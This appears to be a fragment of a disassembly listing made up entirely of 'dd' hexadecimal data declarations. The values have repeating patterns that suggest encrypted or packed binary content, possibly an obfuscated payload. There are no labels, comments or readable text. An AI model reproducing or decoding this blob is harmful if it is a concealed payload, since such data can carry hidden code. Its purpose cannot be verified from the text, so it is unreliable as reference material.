		dd 2C345D4Ch, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh
		dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 0C012BCD3h
		dd 5AF9E60h, 0A9345D73h, 71E29E6Dh, 0D19D7EDh, 427A15BFh
		dd 2130F5A7h, 59164CE3h, 8B9F8360h, 60769CA7h, 5EDB747Ah
		dd 40321566h, 3FB2634h,	0C1344F3h, 2D302E60h, 11322DE2h
		dd 8CF09666h, 5DBF2E27h, 2D345D4Eh, 0EECDFDE3h,	0B1879899h
		dd 0C9345B92h, 6A2414DBh, 0D1B6B960h, 88349169h, 0AD981566h
		dd 0DDCDEA97h, 113215DEh, 0ECBF9866h, 0BB345D2Dh, 0EFBF9C87h
		dd 4B345D42h, 15B9433Fh, 427A0027h, 0A7B91EEDh,	177A31ABh
		dd 0D31F5B7h, 427A306Fh, 44A4E355h, 13D2D4CBh, 0AC6B9065h
		dd 0E9A4132Eh, 0A16CD465h, 593C08DBh, 0C3D1460h, 4432155Fh
		dd 0E13985Dh, 953D132Eh, 8832154Bh, 646F985Dh, 0A63D132Eh
		dd 11321547h, 0A41F985Dh, 0C03D132Eh, 22321573h, 18A588EBh
		dd 5BCD1329h, 0C1BBEDEDh, 247A37D7h, 1134A18Fh,	1FAF9866h
		dd 0BB345A6Fh, 3F8F96B5h, 11345D68h, 882F9169h,	0C1091566h
		dd 247A0BC3h, 113E9169h, 0D091566h, 427A30B3h, 22379069h
		dd 0A8DB1566h, 0B3CDEA99h, 0C3050E3h, 3AB71A60h, 92321566h
		dd 0C02B5CDBh, 0C13D1560h, 2232156Dh, 0C09290EBh, 1DDB1328h
		dd 7FCDEA99h, 6A3050E3h, 98B61A60h, 0BCDEA99h, 0AC620DBh
		dd 0A73D1460h, 11321571h, 7CA6905Dh, 0C13D1328h, 2232156Dh
		dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 4F8F9699h, 11345D7Ch
		dd 8B559169h, 0C1091566h, 247CE1E6h, 94B91213h,	8E7A3443h
		dd 0CCB72E21h, 57345B92h, 50B79E61h, 0CF345D56h, 0B0B6905Dh
		dd 25471328h, 94390EDh,	0B375132Eh, 0AC699E3h, 0A9356060h
		dd 592C5CE3h, 0D095260h, 427CE1F6h, 0A7B91213h,	177A3C4Bh
		dd 1CB72E21h, 31345B92h, 3B79E61h, 56345D7Eh, 7CAA905Dh
		dd 43471328h, 31D390EDh, 2A75132Eh, 0C6C689E3h,	0CF356060h
		dd 6A2AC0E3h, 94095260h, 8E7CE1C6h, 0C1B91213h,	247A0B83h
		dd 0B5B72E21h, 0FD345B92h, 1B79E61h, 65345D47h,	0E59E905Dh
		dd 8F471328h, 433790EDh, 1975132Eh, 5FC6BDE3h, 0B226060h
		dd 0C3AA0DBh, 25471560h, 173F90EDh, 0B75132Eh, 0C197CDBh
		dd 2D461560h, 0E406905Dh, 8F471328h, 74F790EDh,	0A175132Eh
		dd 593F7CDBh, 0FA461560h, 74EBA8E5h, 5632132Eh,	9B72E0Fh
		dd 0FD345B93h, 5DB79E61h, 65345D73h, 0E41A905Dh, 8F471328h
		dd 588790EDh, 1975132Eh, 5FC709E3h, 3356060h, 0C3B94E3h
		dd 0A7095260h, 177CE04Ah, 0DB91213h, 427A131Bh,	12B72E21h
		dd 64345B93h, 6DB79E61h, 3345D42h, 0D712905Dh, 16471328h
		dd 851F90EDh, 7F75132Eh, 6CC731E3h, 9A356060h, 0C03B60E3h
		dd 0F9B15260h, 247A25BFh, 1BB61A66h, 0B3321564h, 0AC6A5E3h
		dd 0A9356060h, 5903C0E3h, 0D095260h, 427CE022h,	0A7B91213h
		dd 177A198Fh, 3CB72E21h, 31345B92h, 0ABB79E61h,	56345D42h
		dd 7C8A905Dh, 43471328h, 3FAF90EDh, 2A75132Eh, 0C6C6A9E3h
		dd 0CF356060h, 6A2870E3h, 94095260h, 8E7CE1A6h,	0F9B10513h
		dd 247A1DD3h, 9A356066h, 0C01070E3h, 0C1095260h, 247CE1A2h
		dd 94B91213h, 8E7A3863h, 8CB72E21h, 57345B92h, 0A48F9676h
		dd 88345D6Eh, 0C1B91213h, 247A34EBh, 0DDB72E21h, 0FD345B92h
		dd 81B79E61h, 65345D62h, 0E5E2905Dh, 8F471328h,	4B2790EDh
		dd 1975132Eh, 5FC6CDE3h, 0B226060h, 0C3AA0DBh, 25471560h
		dd 3D2790EDh, 0B375132Eh, 0AC6C1E3h, 0A1226060h, 593AA0DBh
		dd 8F471560h, 60CF90EDh, 1975132Eh, 5FC6C9E3h, 3356060h
		dd 0C0294E3h, 0A7095260h, 177CE186h, 0DB91213h,	427A3F93h
		dd 0C6B72E21h, 64345B92h, 0E9B79E61h, 3345D62h,	0D6DA905Dh
		dd 16471328h, 0A19B90EDh, 7F75132Eh, 6CC6F9E3h,	9A356060h
		dd 0C03FF0E3h, 0C1095260h, 247CE196h, 94B91213h, 8E7A1B9Fh
		dd 0B0B72E21h, 57345B92h, 4CB79E61h, 0CF345D79h, 0B0CA905Dh
		dd 25471328h, 1B5390EDh, 0B375132Eh, 0C1E94E3h,	0A9356060h
		dd 593CF4E3h, 0D095260h, 427CE19Ah, 0A7B91213h,	177A373Fh
		dd 0B0B72E21h, 31345B93h, 628F967Fh, 11345B93h,	35B11C13h
		dd 427A1B7Bh, 0A9356166h, 590300E3h, 0D095260h,	427CE05Ah
		dd 9FB10C13h, 177CE026h, 0B3B6066h, 0C3C08DBh, 25461560h
		dd 149B90EDh, 0B375132Eh, 0AC715E3h, 0A9356060h, 591778E3h
		dd 0D095260h, 427CE062h
		dd 0A7B91213h, 177A30A7h, 80B72E21h, 31345B93h,	27B79E61h
		dd 56345D6Dh, 7D3E905Dh, 43471328h, 0CF790EDh, 2A75132Eh
		dd 0C6C705E3h, 0CF356060h, 6A1300E3h, 94095260h, 8E7CE072h
		dd 0C1B91213h, 247A24B3h, 1ECD1E21h, 883210E2h,	0BFD8FC66h
		dd 0A709EA99h, 177A32FBh, 88399069h, 0C1BF1566h, 247CB5FEh
		dd 0EEC9C68Fh, 31B72E99h, 4B345D6Bh, 22320DE3h,	248F9666h
		dd 89345B92h, 44399069h, 0A7BF1566h, 116AF345h,	77C9BA8Fh
		dd 34B72E99h, 2D345B92h, 113219E2h, 0FCB72E66h,	4B345B92h
		dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h
		dd 11321523h, 7C56905Dh, 0C13D1328h, 2232156Dh,	73D690EBh
		dd 0E5DB153Eh, 7FCDEA9Dh, 6CC67DE3h, 1AB71A60h,	5321566h
		dd 1C514FE3h, 0D964FC66h, 9409EA99h, 8E7CE10Ah,	44399069h
		dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h
		dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 591774D3h
		dd 2D879C60h, 0C4345D41h, 0A73DFC58h, 11321540h, 8B336BEDh
		dd 0C5EC9E98h, 227215A5h, 708F2E66h, 87345D43h,	44321DE4h
		dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h,	247A25C3h
		dd 14C390A1h, 8832132Eh, 0CD521566h, 6A15B0D3h,	69AF9860h
		dd 77345A69h, 66B01AB5h, 0AF321566h, 5CB119FBh,	87E1EA60h
		dd 0BBCDCBE5h, 87879E99h, 98345D41h, 0C037E4D3h, 0F2AF9860h
		dd 0DD345B24h, 70B79EB5h, 1345D43h, 0C15B0E3h, 0BFBF7460h
		dd 177D1E87h, 15BFC699h, 427D1BAFh, 0A13DC699h,	1132156Ah
		dd 0AF9790E5h, 0AD37132Eh, 0DDCDEAB8h, 1FC088EBh, 5BCD1329h
		dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h,	427F966Ah
		dd 0A13DC699h, 1132156Dh, 0AF97A0EDh, 0C4DB132Eh, 0A9321561h
		dd 5915B0EBh, 2D879C60h, 6F345D41h, 9EBE2A8h, 0F896E697h
		dd 77CDEAF0h, 73C88EBh,	0F1CD1328h, 9419D2EDh, 8E7A25C3h
		dd 605390EFh, 0A7B9132Eh, 177A25C3h, 5BF4531h, 427C56E5h
		dd 0A7B9C499h, 177A0BD3h, 0DB94236h, 427A25C3h,	90BF9836h
		dd 0EE345B25h, 3E29EB7h, 0F1BF3EAEh, 0A1345D78h, 592F0CDBh
		dd 0C3D1560h, 4432154Dh, 53790EDh, 9419132Eh, 8E7A087Fh
		dd 0C23DD45Dh, 22321571h, 1A0B90EDh, 0D31132Eh,	427A087Fh
		dd 8390EFh, 52DB132Eh, 0D9321566h, 497AD4EDh, 22321A99h
		dd 14B79C26h, 89345D41h, 0C2F1CE3h, 3BB7D260h, 11345D7Bh
		dd 0E2321566h, 54327D26h, 48631566h, 0A0A7EA66h, 77345D48h
		dd 0C2998F3h, 1BB79C60h, 98345D6Dh, 0C010A4E3h,	0F1CD4C60h
		dd 247A37D7h, 0F87A099h, 7765132Eh, 0C02B0D3h, 66B79860h
		dd 0EE345B2Eh, 91BF14B6h, 0CF345D7Bh, 6A10A4DBh, 0A4879E60h
		dd 7B345D78h, 0ED879EC2h, 8F345D46h, 11CE53A1h,	49321566h
		dd 793710A6h, 21734E9Dh, 593BBCE3h, 39BF9E60h, 0CD345D44h
		dd 64F5B86Eh, 1132159Ah, 21879C66h, 0C7345D46h,	0A73DEA9Eh
		dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h,	113213A1h
		dd 4EB11566h, 0ED879C62h, 0CB345D46h, 0EECDE380h, 8B31D5A7h
		dd 0C3BBCE3h, 0CF8F9660h, 10345D62h, 88AF9169h,	7AB31566h
		dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h,	22321566h
		dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 2C2FA8E5h,	1E33132Eh
		dd 88322BE2h, 4532AD66h, 9FB11566h, 177CE11Ah, 80B61A66h
		dd 0C9321566h, 6C7990FBh, 91E1EA60h, 0C3D8559h,	4432156Eh
		dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h,	88A2A566h
		dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h
		dd 0C6C669DBh, 0C03D1560h, 2232156Eh, 5A6788EBh, 5BCD1328h
		dd 0CF3652EEh, 6A10A4E3h, 92F53E60h, 2599118Eh,	44CE53A1h
		dd 0CB321566h, 0EECDEA77h, 0A89BA0EFh, 2C60132Eh, 22329566h
		dd 0A4CD150Ch, 8E7A3437h, 51138099h, 0A968132Eh, 592754EBh
		dd 8833D260h, 0C7321566h, 0AFBB11A7h, 177A0027h, 77C7058Fh
		dd 4296FC99h, 0A9521566h, 592754EBh, 13B9E60h, 0AC66DEBh
		dd 6C0A9460h, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h
		dd 113205E3h, 0BC29E66h, 0C1B913A0h, 247A084Fh,	1133138Fh
		dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh,	0C3D385Ah
		dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h
		dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah
		dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh
		dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h
		dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 95879866h
		dd 0A9345D4Ah, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh
		dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 247A39B7h, 3D6790EDh
		dd 48B7132Eh, 44289069h, 0A7F41566h, 177A320Bh,	2FE07D21h
		dd 0F1CDC1FCh, 247A34F3h, 922C90EBh, 58CD132Dh,	0C1E2EA34h
		dd 1AB71AA6h, 9A321566h, 0C02CD0E3h, 4BF29060h,	22320FE3h
		dd 7CB7D366h, 0C4345D41h, 9E2EFC0Eh, 0B787EABFh, 9C345D47h
		dd 0C3B10BE3h, 16E2EA60h, 0E2B7C599h, 11379069h, 0A9DB1566h
		dd 0CD321566h, 6CC66DE3h, 9C644560h, 0C34C79E3h, 4FE2EA60h
		dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh,	0A952D607h
		dd 5FC66DEBh, 49B94560h, 0CF0E5565h, 22329DF6h,	0D8A79C66h
		dd 8D345D76h, 4432159Eh, 0AB3E45EDh, 591A80F3h,	0CCB94D60h
		dd 85193142h, 0AA7905Dh, 933D132Eh, 88321576h, 54FB905Dh
		dd 0A13D132Eh, 11321562h, 8836D707h, 6036D207h,	22321566h
		dd 151651A1h, 88321566h, 443210DEh, 46BF9866h, 0EE345D2Dh
		dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah,	88321524h
		dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h,	0C03DFE5Ah
		dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h
		dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h,	0EAC99667h
		dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h
		dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h
		dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h,	0A89ED555h
		dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h,	113230E2h
		dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h
		dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h,	0C1F5D638h
		dd 247CE02Eh, 11321560h, 6BB20BECh, 0C4C99596h,	0DDD19069h
		dd 9A7CEA99h, 0C01774E3h, 0B5A79E60h, 0A9345D63h, 17F196B8h
		dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h
		dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh
		dd 597A0EFh, 4A6D132Eh,	4CB14B3Fh, 0BE52FC62h, 0A7F5EA99h
		dd 177CE02Eh, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h
		dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h,	8832EA87h
		dd 0CFEB3E66h, 6A1774E3h, 0E0A79E60h, 0B345D63h, 0C1884DBh
		dd 0A63D1460h, 113215C5h, 0A3DCD5Dh, 443215FDh,	0A03DCF5Dh
		dd 0EECDEA27h, 88329B8Fh, 0CB7D266h, 20345B93h,	9A321566h
		dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh
		dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 427A3007h
		dd 27C380EDh, 0ACB1132Eh, 8E7A3FF7h, 0CB61A67h,	19321566h
		dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h
		dd 8B2A568h, 85381A87h
		dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 0C15B0D3h,	0B3B7D260h
		dd 10345D4Ch, 0B321566h, 1D6911A2h, 0A136D1E5h,	66DB11A2h
		dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h
		dd 40F69638h, 0DDCBD28Fh, 59B7D299h, 8D345B93h,	0CF321566h
		dd 26F196B8h, 94B90B65h, 8E7A3007h, 41C380EDh, 0A17C132Eh
		dd 592B90DBh, 0C3D1460h, 44321465h, 0A03DCD5Dh,	1132156Eh
		dd 0E3DCF5Dh, 4432154Dh, 597A0EFh, 8CB9132Eh, 8E7CE02Eh
		dd 48164967h, 2232CB8Fh, 94F54A66h, 8E7A0CE3h, 44321567h
		dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 0C1884DBh, 0A63D1460h
		dd 113215DDh, 0AD53884Dh, 0C9B9132Eh, 247A25C3h, 0DE19DE65h
		dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h
		dd 0C1F5EA99h, 247CE02Eh, 11321564h, 3E3DCBEDh,	0C4CB9568h
		dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h
		dd 1132EA87h, 3EB3E66h,	0C1774E3h, 0D3A79E60h, 0F8345D63h
		dd 77CDEA20h, 0B17A90A1h, 22301328h, 0CFB91566h, 83CA369h
		dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h
		dd 0DDD394BFh, 3A321566h, 0E9B79EBFh, 0CF345D43h, 6A37E4F3h
		dd 808F9660h, 89345D4Ch, 0BAFB9169h, 0FA09EA99h, 113A9769h
		dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh
		dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h
		dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h,	0C9B1CA4Dh
		dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h,	113255E2h
		dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h
		dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh
		dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h
		dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h,	1EDB1566h
		dd 31321566h, 44321560h, 2232108Fh, 1135AC66h, 2CC11566h
		dd 41C398EDh, 0EBB7132Eh, 11349069h, 3DBB1566h,	427A1097h
		dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h,	0A2C2F6E6h
		dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h,	953DFE5Ah
		dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah,	88321551h
		dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h,	0A70E1566h
		dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh
		dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h,	5937E4D3h
		dd 3EAF9860h, 0BB345B24h, 72F1ECB5h, 982253EDh,	0C032CCE3h
		dd 82B14D60h, 7B8F987Ah, 0BC345D42h, 0AC165165h, 18F98CDh
		dd 8F345D7Dh, 35165165h, 35BFBE36h, 427A306Fh, 67616CBh
		dd 0D26CBE4Eh, 7AF9830h, 0BB345B24h, 0FF95FCB5h, 0CEDFFFFFh
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0B4048C0h, 0A8ED96A4h
		dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h,	798A152Ah
		dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
		dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
		dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 43C4D0B8h, 3D32DCF1h
		dd 0BA8C5BECh, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
		dd 1A6DF338h, 0DF07462Ch, 52E697CBh, 3C6D5h, 5492B85Eh
		dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0FBD9BC2Fh
		dd 3C525019h, 0FF0D5711h, 0B977DDD3h, 0F4B95163h, 0B575DF79h
		dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh
		dd 837A71B8h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h,	0B117FB23h
		dd 25FB3470h, 0FDF53FD5h, 3B36D5ADh, 0B7342291h, 23AC7ACFh
		dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 73B3B659h, 0BECBFFA0h
		dd 0C87D7C61h, 0F305E983h, 8DDB8BA4h, 4EF554BDh, 3B8D8D06h
		dd 0B8064F10h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h
		dd 0F2850F49h, 8BFFFFFFh, 0E9BD83C0h, 64820h, 0BD830975h
		dd 6482C61h, 50197400h,	0B8C08B53h, 411h, 218589h, 9D8D0648h
		dd 64AB093h, 585BD3FFh,	2C61BD83h, 74000648h, 0B8535017h
		dd 411h, 218589h, 9D8D0648h, 64AAD34h, 585BD3FFh, 0F2BBC08Bh
		dd 0EB4672A4h, 8, 0C18AFB00h, 4CEE976h,	0F0680000h, 0E9064F12h
		dd 0FFF96B7Fh, 4F138068h, 6B75E906h, 0C768FFF9h, 0E9064F14h
		dd 0FFF96B6Bh, 0A890DC90h, 0AA92DEF7h, 0A993DFF9h, 0AA92DEF8h
		dd 0AA92DEF9h, 0D98E13BBh, 0DFF2A38Dh, 0E3F8A993h, 0E6FC9D97h
		dd 0F23EA29Ah, 15C468DEh, 2529CC56h, 79556681h,	4FC6B305h
		dd 0CD35815Ch, 2F50DB32h, 0EE45EF3Bh, 0E95D714Eh, 4B4FC6B2h
		dd 4B1F3DE4h, 498EB67Ch, 0C8BE92BAh, 0A1560EB7h, 6D947AC6h
		dd 89018B94h, 0DE560EB7h, 91AD1DF8h, 0EB7C9BDh,	6AC46B56h
		dd 3919D7ECh, 2F2AC5Bh,	4F420000h, 65815ABFh, 0DF3B0E19h
		dd 3F0BE858h, 4FC6B34Fh, 562E58DAh, 0DF47FE47h,	56482440h
		dd 0D64FC708h, 5A76D23Bh, 498EEA8Dh, 93C140DFh,	0DA65B1A2h
		dd 25B8AEC2h, 957C560Fh, 89CAA26Ch, 0D2B8EC47h,	95EE5A72h
		dd 7029A42Bh, 0BEA67027h, 0BBCA99B2h, 0B3AC8D44h, 0A9CDBC67h
		dd 41A241CBh, 53CC33F5h, 3A263EFEh, 0F43BF436h,	5B092846h
		dd 341C687Ah, 13236F63h, 37929F16h, 0B372651h, 91000003h
		dd 0F4A58FDBh, 0F2A38DD9h, 0F9AA92DEh, 0F6A791DDh, 0BC9B95E1h
		dd 8AD69116h, 8CD891D2h, 94E0F3A4h, 9BE7FB9Ch, 0DDF13DA1h
		dd 5615C569h, 5B2628CBh, 4C420EE9h, 0E04FC6B3h,	0EF0E641h
		dd 39E439EEh, 285874D0h, 88498A12h, 8EDAF3E4h, 0AEA0AC95h
		dd 7E561631h, 2DE8AA3h,	319C12DEh, 71905616h, 539FB8A5h
		dd 539FB8E9h, 0CC05BCD8h, 516DB688h, 7734097Dh,	58042B49h
		dd 77342294h, 23EF1249h, 36D42032h, 350F9753h, 7B18FD26h
		dd 1000002h, 0E4B59FEBh, 0E2B39DE9h, 0E9BAA2EEh, 0E6B7A1EDh
		dd 0ACABA5F1h, 7AC6A126h, 7CC8A1C2h, 84D083D4h,	8BD78BCCh
		dd 0CDA1CDD1h, 5615C6D9h, 5B36785Bh, 5975D3E9h,	4989A327h
		dd 13A1AA85h, 5615C49Fh, 0B52BEAC8h, 5B40232Ah,	5FB0758Eh
		dd 2CC92CAEh, 18A45E2h,	0DEF70000h, 0E55FBB07h,	0F2D11D86h
		dd 134E400Ch, 43DE4FC7h, 836B83E8h, 68B4A6B7h, 5EAAC0DFh
		dd 0A7BD7FF6h, 79E6B5B9h, 0F918498Fh, 7A2C262Eh, 1A35560Fh
		dd 2D2255CEh, 213966E1h, 2EE50BD5h, 15F0E683h, 39D9049Fh
		dd 417F5Bh, 5B170000h, 4C420EE9h, 0E04FC6B3h, 707CE841h
		dd 498E9E9Bh, 47F52ED1h, 0E6307C6Eh, 0EDF148Eh,	49954D56h
		dd 148A66FEh, 18560EDFh, 459146F9h, 0BD186EFAh,	0C4FF3712h
		dd 3941314Eh, 0A7525Bh,	81EC0000h, 22945869h, 124FC6B3h
		dd 66E12D25h, 48032A03h, 21F24017h, 0AA491F4Fh,	0F21B677Fh
		dd 7B6F101Bh, 8F43F42Fh, 435D1943h, 0A64FC75Fh,	0DBFC68B4h
		dd 0AEFAF006h, 99758C75h, 667EBEB5h, 0CD15F6FAh, 0E847498Ch
		dd 38845B7Ch, 74786400h, 5610B302h, 1243CF32h, 7021F13Dh
		dd 2FCAF516h, 1341104h,	0AABA0000h, 0A8A5F65Eh,	0ADA3F45Ch
		dd 0B0A6F761h, 0B4ABEC64h, 6971F068h, 0B59FEBE4h, 0B7A1EDE4h
		dd 0AFA9F5E6h, 88B0FCEEh, 9204C814h, 0A25615C7h, 6681FF43h
		dd 80E28218h, 34277DF1h, 70E841E8h, 45EF3B2Fh, 1D6981FBh
		dd 0F642163Fh, 6579231Ch, 0C6B31589h, 1EF8174Fh, 73DD2941h
		dd 38243CFCh, 8EF9E234h, 2C251249h, 610267E0h, 18F13A86h
		dd 6D6253F1h, 49DA4321h, 0BC024768h, 94203802h
		dd 560F4A1Eh, 19438F43h, 0E95D714Dh, 4B560F49h,	520D4AE4h
		dd 9BD83D06h, 76000000h, 75D3E95Bh, 60778D44h, 0CF360B14h
		dd 3921ED54h, 41353925h, 0F34FC6B3h, 0F38F30Ch,	3BE53B36h
		dd 116993DFh, 0EE57498Ah, 8F72ADF9h, 0D88AAD76h, 0DFF3A48Ch
		dd 0F0FC0DC9h, 5616327Eh, 53BA53AEh, 0AEFBBCD8h, 0E93F4597h
		dd 519DB52Ah, 0C410C2F3h, 9DB5E66Ah, 0ADA9D651h, 9CB9E661h
		dd 0B2A8D750h, 95D9CDA1h, 0B45BC688h, 0E0B6D24Dh, 0AEBA7A25h
		dd 63AFA992h, 83F381E8h, 0B1C68895h, 378EC44Eh,	98C410C2h
		dd 0D45EAABFh, 0DEF7E07Ch, 3D78892h, 3896CB7h, 45000000h
		dd 6B811763h, 5F73241Fh, 74671813h, 69801F28h, 5A75221Dh
		dd 6D62150Eh, 5D792621h, 6F691611h, 5E772823h, 56741912h
		dd 0C6815E54h, 4, 8704EE83h, 515C2434h,	0C181E189h, 4
		dd 8704E983h, 895C240Ch, 0AB682414h, 89000014h,	0F168242Ch
		dd 8B064F11h, 0C4812414h, 4, 242C8B54h,	6804C483h, 222Ch
		dd 8F241489h, 2C8B0845h, 0E6895624h, 4C681h, 0C6810000h
		dd 4, 5C243487h, 5324148Bh, 0C381E389h,	4, 4C381h, 1C870000h
		dd 0C0E95C24h, 9DFFF966h, 96B0695h, 4F1620B8h, 0FFC50306h
		dd 326A05E0h, 0AAB69E1Dh, 0DCF3A06Bh, 6D273E02h, 1F41727Bh
		dd 333B7415h, 0A5869341h, 0B6051742h, 0BB2A341Dh, 755A0F39h
		dd 6C969032h, 3E49A03Bh, 45697014h, 98169F60h, 0AF61D75Dh
		dd 0EC88D666h, 0AE4EB568h, 61C6FE50h, 0E588FB24h, 0A2A3E942h
		dd 0C91C57Bh, 0A495FD4Dh, 7475763h, 0D748966Dh,	62F6CD25h
		dd 0EB04EB74h, 0E91F490Bh, 54Eh, 30287468h, 322A766Fh
		dd 312B7771h, 322A7670h, 322A7671h, 3126AB33h, 372A6BE5h
		dd 3B3071EBh, 3E1445EFh, 0A564AF2h, 15CA5046h, 0BD01E456h
		dd 221D6981h, 260E5A75h, 16115D75h, 855B7169h, 0F21BEE39h
		dd 14F0639h, 23E853EAh,	294523F3h, 4FC71335h, 36F118F7h
		dd 0CC4184DAh, 15D90516h, 4FC713A1h, 6EE06C93h,	0BE4FC713h
		dd 0D192CA63h, 3B30091Ah, 7FCD34EFh, 4FC7130Fh,	0D11D381Dh
		dd 0F31AF356h, 1D696455h, 5BF33F22h, 62DD293Ah,	57D01C35h
		dd 66E12D28h, 56D11D39h, 0D481441Ah, 38C8A2CAh,	5FD13803h
		dd 7E55CA09h, 81590A32h, 0E962EA35h, 784FC702h,	6B0C1763h
		dd 451C2773h, 37F03C12h, 9D488BB1h, 5CD2315Fh, 54F16547h
		dd 643Ch, 348FF000h, 0EF2B32CFh, 81350F2Bh, 337F5369h
		dd 61156EDAh, 40D55FB2h, 680439D5h, 4FC6C4F4h, 0AF25E016h
		dd 54F12814h, 16Fh, 64810700h, 44750F18h, 67F8428Eh, 1546226Eh
		dd 30262A3Bh, 44FC6B3h,	152A041Dh, 82566C62h, 0F454CF36h
		dd 8AD68FA8h, 7BC79EC1h, 0F3D28892h, 211B677Eh,	361E6A80h
		dd 7E55864Ch, 610F932h,	73687E59h, 7E62FE27h, 0C6B2FC72h
		dd 36D1304Fh, 0A464BC66h, 0B58AA491h, 0C47FCB82h, 9A061765h
		dd 0F2E3983Bh, 0C20157E3h, 1A46924Dh, 40DA2641h, 47934718h
		dd 39855BFCh, 0A45F57EEh, 52440834h, 0E24FC713h, 4E61F33Fh
		dd 3554F173h, 90h, 1A6681C9h, 2E7A6E11h, 6BD13F5h, 0D28AD691h
		dd 0A9C0D691h, 0DC7BC45Dh, 0E2F3EC02h, 0C6B3980Eh, 8C759C4Fh
		dd 0E957AE93h, 80CB17D0h, 8DB88DA9h, 0A5FE6EA5h, 0C69C6766h
		dd 0AF58B17Ah, 53043A04h, 16EB3480h, 2C355AFCh,	624E54F1h
		dd 0E8000000h, 95506681h, 5884E049h, 0C6B32294h, 2C25124Fh
		dd 58ED49E0h, 5FE83427h, 39142A40h, 36CF32EDh, 47934AEDh
		dd 0F7CE04FCh, 6FA6FC4Ch, 0EEFFD6FFh, 0C6B36CE2h, 0C861C04Fh
		dd 0CF90AA7Fh, 1A64CC18h, 0F186481h, 0C6B30E85h, 0F9DCFA4Fh
		dd 0A599B589h, 874FC6B3h, 0B3D08EA8h, 0D054F115h, 1, 1B678166h
		dd 2F7B6F10h, 0E71E34F4h, 2A125E72h, 6DDBF153h,	8EBDAA61h
